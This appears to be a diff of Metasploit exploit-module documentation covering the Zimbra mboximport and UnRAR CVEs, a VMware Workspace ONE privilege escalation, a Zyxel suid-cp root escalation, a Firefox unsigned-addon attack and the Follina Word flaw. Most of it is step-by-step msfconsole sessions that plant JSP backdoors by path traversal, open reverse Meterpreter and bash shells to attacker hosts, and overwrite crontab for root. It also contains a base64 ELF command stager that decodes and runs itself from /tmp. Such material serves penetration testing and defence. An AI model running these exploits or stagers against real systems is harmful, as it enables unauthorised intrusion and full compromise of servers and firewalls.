[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXMCokAFRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g==>>'/tmp/abOFM.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (which openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)')) 2> /dev/null > '/tmp/IBkCa' < '/tmp/abOFM.b64' ; chmod +x '/tmp/IBkCa' ; '/tmp/IBkCa' ; rm -f '/tmp/IBkCa' ; rm -f '/tmp/abOFM.b64'"]
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3020772 bytes) to 192.168.0.23
[*] Meterpreter session 5 opened (192.168.0.2:4444 -> 192.168.0.23:51870) at 2022-08-03 11:26:51 +0200
[*] Command Stager progress - 100.00% done (823/823 bytes)
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 192.168.0.23
OS : Ubuntu 18.04 (Linux 5.4.0-122-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
@@ -0,0 +1,199 @@
## Vulnerable Application
This module exploits a path-traversal vulnerability as well as an authentication-bypass vulnerability
in the following versions of Zimbra Collaboration Suite:
* Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (and earlier)
* Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (and earlier)
Note that the open source edition is not affected.
Successful exploitation results in RCE as the `zimbra` user.
Installing the vulnerable versions of Zimbra is a pain, unfortunately. I used a trial version of ZCS 8.8.12,
which you can currently get [here](https://www.zimbra.com/downloads/zimbra-collaboration/). On the download page,
after you register with a valid email address, there's an "older versions" link where you can get vulnerable versions.
To set the server up:
1. `wget https://files.zimbra.com/downloads/8.8.12_GA/zcs-NETWORK-8.8.12_GA_3794.UBUNTU18_64.20190329045002.tgz` on a Ubuntu 18.04 VM.
1. `tar -xvf zcs-NETWORK-8.8.12_GA_3794.UBUNTU18_64.20190329045002.tgz`
1. `hostnamectl set-hostname <hostname of your choice>` to set the hostname for the VM.
1. Edit the `/etc/hosts` file and add in a line `127.0.0.1 <hostname of your choice>`
1. `cd zcs-NETWORK-8.8.12_GA_3794.UBUNTU18_64.20190329045002 && sudo ./setup.sh`
1. Answer `Y` to every question.
1. You will need to wait a while whilst some stuff is set up. You should then get to a menu.
1. Use the number keys to select the menu options.
1. Configure the rest of the options such as the admin password, and full path to license file.
1. Once everything is configured you should get a prompt to press `a` to save and install. Press `a` when this appears.
1. You will then be prompted to save the configuration. Accept this and respond `Y` to any further prompts.
1. Server should start installing. Once its finished you should be ready to test.
Once the server is up, it's vulnerable.
```
msf6 > use exploit/linux/http/zimbra_mboximport_cve_2022_27925
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set RHOSTS 10.0.0.166
RHOSTS => 10.0.0.166
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set LHOST 10.0.0.146
LHOST => 10.0.0.146
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit
[*] Started reverse TCP handler on 10.0.0.146:4444
[*] Encoding the payload as a .jsp file
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/wuuvqmtko.jsp
[*] Sending POST request with ZIP file
[*] Trying to trigger the backdoor @ public/wuuvqmtko.jsp
[*] Sending stage (3020772 bytes) to 10.0.0.166
[+] Successfully triggered the payload
[+] Deleted ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/wuuvqmtko.jsp
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.166:35180) at 2022-08-19 11:06:38 -0700
```
There's no easy way that I see to check for the patch (and the only vulnerable version I have is
quite a bit older), so attempts to exploit patched versions will likely result in a warning message
that the target may not vulnerable:
```
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit
[*] Started reverse TCP handler on 10.0.0.146:4444
[*] Encoding the payload as a .jsp file
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/gauca.jsp
[*] Sending POST request with ZIP file
[*] Trying to trigger the backdoor @ public/gauca.jsp
[-] Exploit aborted due to failure: unknown: Payload was not uploaded, the server probably isn't vulnerable
[!] This exploit may require manual cleanup of '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/gauca.jsp' on the target
[*] Exploit completed, but no session was created.
```
## Verification Steps
1. `use exploit/linux/http/zimbra_mboximport_cve_2022_27925`
1. `set RHOSTS <TARGET HOSTS>`
1. `set LHOST <Address of Attacking Machine>`
1. `exploit`
1. You should get a shell as the `zimbra` user.
## Options
### `TARGET_PATH`
The path (traversal included) where the payload will extract to. The default is the webroot, which is usually pretty safe.
### `TARGET_FILENAME`
The actual filename. It really should end with `.jsp`, otherwise it won't execute.
By default, it's a random string with `.jsp` on the end. That should work fine, especially
because we can't overwrite files and don't want to use the same payload name more than once.
### `TARGET_USERNAME`
The username included in the `mboximport` request - any valid username works, `admin` is usually fine.
## Scenarios
### Zimbra Collaboration Suite Network Edition 8.8.12 Patch 6 on Ubuntu 18.04
```
msf6 > use exploit/linux/http/zimbra_mboximport_cve_2022_27925
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set RHOSTS 10.0.0.166
RHOSTS => 10.0.0.166
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set LHOST 10.0.0.146
LHOST => 10.0.0.146
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > show options
Module options (exploit/linux/http/zimbra_mboximport_cve_2022_27925):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.0.0.166 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 7071 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGET_FILENAME no The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).
TARGET_PATH ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/ yes The location the payload should extract to (can, and should, contain path traversal characters - "../../").
TARGET_USERNAME admin yes The target user, must be valid on the Zimbra server
VHOST no HTTP server virtual host
Payload options (linux/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.0.0.146 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Zimbra Collaboration Suite
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit
[*] Started reverse TCP handler on 10.0.0.146:4444
[*] Encoding the payload as a .jsp file
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/nkxj.jsp
[*] Sending POST request with ZIP file
[*] Trying to trigger the backdoor @ public/nkxj.jsp
[*] Sending stage (3020772 bytes) to 10.0.0.166
[+] Successfully triggered the payload
[+] Deleted ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/nkxj.jsp
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.166:48640) at 2022-08-22 11:08:19 -0700
meterpreter > getuid
Server username: zimbra
meterpreter > shell
Process 121849 created.
Channel 1 created.
/opt/zimbra/bin/zmcontrol -v
Release 8.8.12.GA.3794.UBUNTU18.64 UBUNTU18_64 NETWORK edition, Patch 8.8.12_P6.
```
### Zimbra Collaboration Suite Network Edition 8.8.15 Patch 33 on Ubuntu 18.04
Note: This version is not vulnerable, because the issue is patched
```
msf6 > use exploit/linux/http/zimbra_mboximport_cve_2022_27925
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set RHOSTS 10.0.0.167
RHOSTS => 10.0.0.167
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set LHOST 10.0.0.146
LHOST => 10.0.0.146
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit
[*] Started reverse TCP handler on 10.0.0.146:4444
[*] Encoding the payload as a .jsp file
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/gauca.jsp
[*] Sending POST request with ZIP file
[*] Trying to trigger the backdoor @ public/gauca.jsp
[-] Exploit aborted due to failure: unknown: Payload was not uploaded, the server probably isn't vulnerable
[!] This exploit may require manual cleanup of '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/gauca.jsp' on the target
[*] Exploit completed, but no session was created.
```
### Zimbra Collaboration Suite Open Source Edition Patch 8.8.12 Patch 6 on Ubuntu 18.04
Note: This version is not vulnerable, the open source edition doesn't have the correct path.
```
msf6 > use exploit/linux/http/zimbra_mboximport_cve_2022_27925
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set RHOSTS 10.0.0.164
RHOSTS => 10.0.0.164
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > set LHOST 10.0.0.146
LHOST => 10.0.0.146
msf6 exploit(linux/http/zimbra_mboximport_cve_2022_27925) > exploit
[*] Started reverse TCP handler on 10.0.0.146:4444
[*] Encoding the payload as a .jsp file
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/cualvccyq.jsp
[*] Sending POST request with ZIP file
[-] Exploit aborted due to failure: not-found: The target path was not found, target is probably not vulnerable
[*] Exploit completed, but no session was created.
```
@@ -0,0 +1,92 @@
## Vulnerable Application
This module exploits a symlink-based path traversal vulnerability in UnRAR 6.11 and earlier (open source version 6.1.6 and earlier) on Zimbra. You can get the vulnerable version of `unrar` here:
* [Vulnerable unRAR version](https://www.rarlab.com/rar/rarlinux-x64-611.tar.gz)
* [Github commit](https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946)
Zimbra is the specific target, because certain Zimbra versions use `unrar` to scan incoming email. Specifically, the following versions of Zimbra, assuming the vulnerable version of `unrar` is installed, are affected:
* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
Installing the vulnerable versions of Zimbra is a pain, unfortunately. Currently, the following command works to downgrade Zimbra from the current version:
```
# apt-get install zimbra-patch=8.8.15.1651873147.p31.1-1.u18 zimbra-mta-patch=8.8.15.1651844231.p31.1-1.u18 zimbra-proxy-patch=8.8.15.1651844231.p31.1-1.u18
# reboot
```
And to verify:
```
$ sudo -u zimbra /opt/zimbra/bin/zmcontrol -v
Release 8.8.15.GA.3869.UBUNTU18.64 UBUNTU18_64 FOSS edition, Patch 8.8.15_P31.1.
```
Followed by specifically installing the vulnerable version of `unrar` linked above. Downpatching Zimbra like that is really finnicky, though, so that likely won't always work.
## Verification Steps
To exploit Zimbra, first load the module and generate the .rar file:
```
msf6 > use exploit/linux/http/zimbra_unrar_cve_2022_30333
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set LHOST 10.0.0.146
LHOST => 10.0.0.146
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > set RHOSTS 10.0.0.154
RHOSTS => 10.0.0.154
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > exploit
[*] Started reverse TCP handler on 10.0.0.146:4444
[*] Encoding the payload as a .jsp file
[*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar
[+] File created! Email the file above to any user on the target Zimbra server
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[...] waiting [...]
```
Then, email that file to any user (including a non-existent mailbox) on the Zimbra server. Once the payload arrives at Zimbra, Zimbra should try to extract it to check for malware with no user interaction. Metasploit should see the malicious file extracted and get a session:
```
[...]
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[*] Trying to trigger the backdoor @ public/lnijw.jsp...
[*] Sending stage (3020772 bytes) to 10.0.0.154
[+] Deleted ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/lnijw.jsp
[*] Meterpreter session 1 opened (10.0.0.146:4444 -> 10.0.0.154:39710) at 2022-07-27 13:18:03 -0700
meterpreter > getuid
Server username: zimbra
```
## Options
### `FILENAME`
The filename to generate - defaults to `payload.rar`, but can be changed on the filesystem or whatever.
### `TARGET_PATH`
The path (traversal included) where the payload will extract to. The default is the webroot, which is usually pretty safe.
### `TARGET_FILENAME`
The actual filename. It really should end with `.jsp`, otherwise it won't execute.
By default, it's a random string with `.jsp` on the end. That should work fine, especially because we can't overwrite files and don't want to use the same payload name more than once.
### `TRIGGER_PAYLOAD`
A boolean, default `true`, that determines whether we use HTTP requests to trigger the .jsp payload. Set to `false` to trigger the payload manually.
### `ListenerTimeout`
The number of seconds to wait for a new session (default = `0`, or infinite).
### `CheckInterval`
The frequency with which to check for the payload on the server. Every `CheckInterval`, it performs an HTTP request to the payload path.
@@ -0,0 +1,117 @@
## Vulnerable Application
VMware Workspace ONE Access contains a vulnerability whereby the horizon user can escalate their privileges to those of
the root user by modifying a file and then restarting the vmware-certproxy service which invokes it. The service control
is permitted via the sudo configuration without a password.
### Setup
To exploit this vulnerability in conjunction with CVE-2022-22954, follow [Installing and Configuring VMware Workspace
ONE Access] or simply import the OVA into a **VMware hypervisor**. The target should be vulnerable to both
vulnerabilities out of the box.
The HW-150533, HW-154129, and HW-156875 patches may be optionally applied. In this case, a session will need to be
opened by some means to the appliance as the `horizon` user in order to be exploitable. This is most easily accomplished
by [resetting the root password], logging in locally, and then configuring SSH. Patches can be obtained from [VMware's
Website]. Steps to reset the `root` password are available [here].
[Installing and Configuring VMware Workspace ONE Access]: https://docs.vmware.com/en/VMware-Workspace-ONE-Access/21.08/workspace_one_access_install/GUID-0FABD001-050B-4A54-B100-2FA4E8F55613.html
[VMware's Website]: https://customerconnect.vmware.com/en/downloads/details?downloadGroup=WS1A_ONPREM_210801&productId=1192&rPId=79985
[resetting the root password]: https://kb.vmware.com/s/article/76530
## Verification Steps
1. Setup a vulnerable VMware instance (see the steps above).
2. Start msfconsole.
3. Obtain a session on the vulnerable instance.
* It is recommend to use either `exploit/linux/http/vmware_workspace_one_access_cve_2022_22954` if the target is
vulnerable to it or, alternatively, `exploit/multi/ssh/sshexec`.
4. Do: `set SESSION -1`
5. Optionally set the PAYLOAD and related options.
6. Do: `run`
7. If the target is vulnerable, the payload should be executed.
## Options
## Scenarios
### VMware Workspace ONE Access 21.08.0.1
In the following scenario, initial access is gained by first exploiting CVE-2022-22954. Once the session is opened, it
is elevated to root by exploiting CVE-2022-31660.
```
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > show options
Module options (exploit/linux/http/vmware_workspace_one_access_cve_2022_22954):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.159.98 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL true no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
Payload options (cmd/unix/python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.159.128 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix Command
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > exploit
[*] Started reverse TCP handler on 192.168.159.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Executing cmd/unix/python/meterpreter/reverse_tcp (Unix Command)
[*] Sending stage (40132 bytes) to 192.168.159.98
[*] Meterpreter session 1 opened (192.168.159.128:4444 -> 192.168.159.98:42312) at 2022-08-02 16:26:16 -0400
meterpreter > sysinfo
Computer : photon-machine
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter > getuid
Server username: horizon
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(linux/http/vmware_workspace_one_access_cve_2022_22954) > use exploit/linux/local/vmware_workspace_one_access_certproxy_lpe
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > set SESSION -1
SESSION => -1
msf6 exploit(linux/local/vmware_workspace_one_access_certproxy_lpe) > run
[*] Started reverse TCP handler on 192.168.250.134:4444
[*] Backing up the original file...
[*] Writing '/opt/vmware/certproxy/bin/cert-proxy.sh' (601 bytes) ...
[*] Triggering the payload...
[*] Sending stage (40132 bytes) to 192.168.250.237
[*] Meterpreter session 2 opened (192.168.250.134:4444 -> 192.168.250.237:63493) at 2022-08-02 16:26:57 -0400
[*] Restoring file contents...
[*] Restoring file permissions...
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : photon-machine
OS : Linux 4.19.217-1.ph3 #1-photon SMP Thu Dec 2 02:29:27 UTC 2021
Architecture : x64
System Language : en_US
Meterpreter : python/linux
meterpreter >
```
@@ -0,0 +1,198 @@
## Vulnerable Application
### Description
This module exploits CVE-2022-30526, a local privilege escalation vulnerability that
allows a low privileged user (e.g. `nobody`) escalate to root. The issue stems from
a suid binary that allows all users to copy files as `root`. This module overwrites
the firewall's crontab to execute an attacker provided script, resulting in code
execution as `root`.
In order to use this module, the attacker must first establish shell access. For
example, by exploiting CVE-2022-30525.
Known affected Zyxel models are:
* USG FLEX 50, 50W, 100W, 200, 500, 700
* ATP 100, 200, 500, 700, 800
* VPN 50, 100, 300, 1000
* USG20-VPN and USG20W-VPN
### Setup
The vulnerable system is a hardware firewall/vpn that, to our knowledge,
cannot be emulated. As such, testing requires a physical device. Once the
device has been acquired, you'll need to accomplish the following:
* Once powered on, register the device with Zyxel. You cannot do anything
with the device until this is accomplished. Fortunately, the web interface
will force you to complete this process. You'll need to create an account at
https://portal.myzyxel.com and the firewall will need internet connectivity
to complete the process.
* Once the device is up to date, you'll need to downgrade the firmware. From
portal.myzyxel.com you can download old firmware from:
Devices Management -> Firmware Download
From there you can select model and version to download. The last vulnerable
version from the affected systems is 5.21 Patch 1.
* Once you are using the vulnerable version, there is no special configuration
you need to exploit from the LAN. If you want to exploit from the WAN, you'll
need to enable "HTTP" and/or "HTTPS" through the firewall. From the web interface
do:
Configuration -> Objects -> Service -> Service Group -> Default_Allow_WAN_To_ZyWALL
And move "HTTP" and/or "HTTPS" from the left column to the right. After applying
the firewall should pass HTTP/HTTPS through the firewall to the web interface.
* That's it. You are good to go.
## Verification Steps
* Follow setup steps above.
* Establish a shell on the device. See `exploit/linux/http/zyxel_ztp_rce`
* Do: `use exploit/linux/local/zyxel_suid_cp_lpe`
* Do: `check`
* Verify the remote host is exploitable
* Do: `set LHOST <ip>`
* Do: `run`
* Verify the module acquires a root shell
## Options
## Scenarios
### Successful escalation to root bash shell on USG Flex 100 using firmware 5.21
```
msf6 > use exploit/linux/http/zyxel_ztp_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14
RHOST => 10.0.0.14
msf6 exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28
LHOST => 10.0.0.28
msf6 exploit(linux/http/zyxel_ztp_rce) > run
[*] Started reverse TCP handler on 10.0.0.28:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. This was determined by the model and build date: USG FLEX 100, 220315042158
[*] Executing Shell Dropper for cmd/unix/reverse_bash
[*] Sending command to /ztp/cgi-bin/handler
[*] Command shell session 1 opened (10.0.0.28:4444 -> 10.0.0.14:50827) at 2022-05-13 11:55:47 -0700
[+] Command successfully executed.
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
cat /zyinit/fwversion
KERNEL_VERSION=3.10.87
FIRMWARE_VER=5.21(ABUH.1)521-r103462-k3
CAPWAP_VER=1.00.04
COMPATIBLE_PRODUCT_MODEL_0=E15D
COMPATIBLE_PRODUCT_MODEL_1=FFFF
COMPATIBLE_PRODUCT_MODEL_2=FFFF
COMPATIBLE_PRODUCT_MODEL_3=FFFF
COMPATIBLE_PRODUCT_MODEL_4=FFFF
MODEL_ID=USG FLEX 100
KERNEL_BUILD_DATE=2022-03-15 03:18:23
BUILD_DATE=2022-03-15 05:14:23
FSH_VER=1.0.0
^Z
Background session 1? [y/N] y
msf6 exploit(linux/http/zyxel_ztp_rce) > use exploit/linux/local/zyxel_suid_cp_lpe
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set LHOST 10.0.0.28
LHOST => 10.0.0.28
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set session 1
session => 1
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > run
[*] Started reverse TCP handler on 10.0.0.28:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. System version: USG FLEX 100, 5.21(ABUH.1)521-r103462-k3
[*] Executing Unix Command for cmd/unix/reverse_bash
[*] Overwriting /var/zyxel/crontab
[*] The payload may take up to 60 seconds to be executed by cron
[+] Deleted /tmp/bJUQqm
[*] Resetting crontab to the original version
[+] Deleted /tmp/IcNlzvnv5
[*] Command shell session 2 opened (10.0.0.28:4444 -> 10.0.0.14:50829) at 2022-05-13 11:57:08 -0700
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
```
### Successful escalation to root Meterpreter on USG Flex 100 using firmware 5.21
```
msf6 > use exploit/linux/http/zyxel_ztp_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/http/zyxel_ztp_rce) > set RHOST 10.0.0.14
RHOST => 10.0.0.14
msf6 exploit(linux/http/zyxel_ztp_rce) > set LHOST 10.0.0.28
LHOST => 10.0.0.28
msf6 exploit(linux/http/zyxel_ztp_rce) > run
[*] Started reverse TCP handler on 10.0.0.28:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. This was determined by the model and build date: USG FLEX 100, 220315042158
[*] Executing Shell Dropper for cmd/unix/reverse_bash
[*] Sending command to /ztp/cgi-bin/handler
[*] Command shell session 1 opened (10.0.0.28:4444 -> 10.0.0.14:50827) at 2022-05-13 11:55:47 -0700
[+] Command successfully executed.
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)
cat /zyinit/fwversion
KERNEL_VERSION=3.10.87
FIRMWARE_VER=5.21(ABUH.1)521-r103462-k3
CAPWAP_VER=1.00.04
COMPATIBLE_PRODUCT_MODEL_0=E15D
COMPATIBLE_PRODUCT_MODEL_1=FFFF
COMPATIBLE_PRODUCT_MODEL_2=FFFF
COMPATIBLE_PRODUCT_MODEL_3=FFFF
COMPATIBLE_PRODUCT_MODEL_4=FFFF
MODEL_ID=USG FLEX 100
KERNEL_BUILD_DATE=2022-03-15 03:18:23
BUILD_DATE=2022-03-15 05:14:23
FSH_VER=1.0.0
^Z
Background session 1? [y/N] y
msf6 exploit(linux/http/zyxel_ztp_rce) > use exploit/linux/local/zyxel_suid_cp_lpe
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set LHOST 10.0.0.28
LHOST => 10.0.0.28
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set session 1
session => 1
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > set target 1
target => 1
msf6 exploit(linux/local/zyxel_suid_cp_lpe) > run
[*] Started reverse TCP handler on 10.0.0.28:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. System version: USG FLEX 100, 5.21(ABUH.1)521-r103462-k3
[*] Executing Linux Dropper for linux/mips64/meterpreter_reverse_tcp
[*] Using URL: http://10.0.0.28:8080/0g5aPNZ8DvT1n
[*] Overwriting /var/zyxel/crontab
[*] The payload may take up to 60 seconds to be executed by cron
[*] Client 10.0.0.14 (curl/7.70.0) requested /0g5aPNZ8DvT1n
[*] Sending payload to 10.0.0.14 (curl/7.70.0)
[+] Deleted /tmp/hdpBYBRk
[+] Deleted /tmp/OpTYd0c0
[*] Meterpreter session 3 opened (10.0.0.28:4444 -> 10.0.0.14:50832) at 2022-05-13 12:00:01 -0700
[*] Command Stager progress - 100.00% done (115/115 bytes)
[*] Resetting crontab to the original version
[*] Server stopped.
meterpreter > shell
Process 29664 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Mar 15 05:14:51 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux
```
@@ -0,0 +1,69 @@
## Vulnerable Application
Mozilla Firefox before version 41 allowed users to install
unsigned browser extensions from arbitrary web servers.
This module dynamically creates an unsigned .xpi addon file.
The resulting bootstrapped Firefox addon is presented to
the victim via a web page. The victim's Firefox browser
will pop a dialog asking if they trust the addon.
Once the user clicks "install", the addon is installed and
executes the payload with full user permissions. As of Firefox
4, this will work without a restart as the addon is marked to
be "bootstrapped". As the addon will execute the payload after
each Firefox restart, an option can be given to automatically
uninstall the addon once the payload has been executed.
As of Firefox 41, unsigned extensions can still be installed
on Firefox Nightly, Unbranded and Development builds when
configured with `xpinstall.signatures.required` set to `false`.
Note: this module generates legacy extensions which are
supported only in Firefox before version 57.
### Installation
Download an old Developer Edition (version 4 < 57) installer from:
* https://download-origin.cdn.mozilla.net/pub/devedition/releases/
Browse to `about:config` and set `xpinstall.signatures.required` to `false`.
Open Tools -> Options, search for "updates" and select "Never check for updates".
## Verification Steps
1. Start `msfconsole`
1. Do: `use exploit/multi/browser/firefox_xpi_bootstrapped_addon`
1. Do: `set SRVHOST [IP]`
1. Do: `run`
## Options
## Scenarios
### Firefox Developer Edition 56.0b9 on Windows 7 SP1 (x64) with xpinstall.signatures.required disabled
Run the module and load the web server URL in Firefox. Install the extension when prompted.
```
msf6 post(windows/gather/enum_domains) > use exploit/multi/browser/firefox_xpi_bootstrapped_addon
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/browser/firefox_xpi_bootstrapped_addon) > run
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.200.130:4444
[*] Using URL: http://192.168.200.130:8080/Oj8qCs
[*] Server started.
msf6 exploit(multi/browser/firefox_xpi_bootstrapped_addon) >
[*] 192.168.200.190 firefox_xpi_bootstrapped_addon - Redirecting request.
[*] 192.168.200.190 firefox_xpi_bootstrapped_addon - Sending HTML response.
[*] 192.168.200.190 firefox_xpi_bootstrapped_addon - Sending xpi and waiting for user to click 'accept'...
[*] 192.168.200.190 firefox_xpi_bootstrapped_addon - Sending xpi and waiting for user to click 'accept'...
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.190:49861) at 2022-09-04 01:46:40 -0400
```
@@ -1,22 +1,27 @@
There exists a vulnerability in Microsoft Word that leverages the remote template feature to achieveremote code execution against the target.
There exists a vulnerability in Microsoft Word that leverages the remote template feature to achieve remote code
execution against the target.
The vulnerability came to light after an independent cybersecurity research team known as `nao_sec` uncovered a Word document ([05-2022-0438.doc](https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/)) that was uploaded to VirusTotal from an IP address in Belarus.
The vulnerability came to light after an independent cyber-security research team known as `nao_sec` uncovered a Word
document ([05-2022-0438.doc](https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/)) that was uploaded to
VirusTotal from an IP address in Belarus.
The document uses the remote template feature to fetch an `HTML` document and then uses the `ms-msdt` scheme to execute `PowerShell` code.
The document uses the remote template feature to fetch an HTML document and then uses the `ms-msdt` scheme to execute
PowerShell code.
## Vulnerable Application
The vulnerability has been proved in Office 2013, 2016, 2019, 2021, Office ProPlus and Office 365. It also applies to Windows itself, e.g. it can be called from `.lnk` files and with `wget` into `PowerShell`.
The vulnerability has been found in Office 2013, 2016, 2019, 2021, Office ProPlus and Office 365. It also applies to
Windows itself, e.g. it can be called from `.lnk` files and with `wget` into `PowerShell`.
The vulnerability appears exploitable using `.RTF` files on all versions of Office 365, including current channel.
The vulnerability is exploitable using `.RTF` files on all versions of Office 365, including current channel.
However, with Insider and Current builds of Office, it doesn't seem to work.
### Make your lab
You need official version of Microsoft Office installed. And stay unpatched for this.
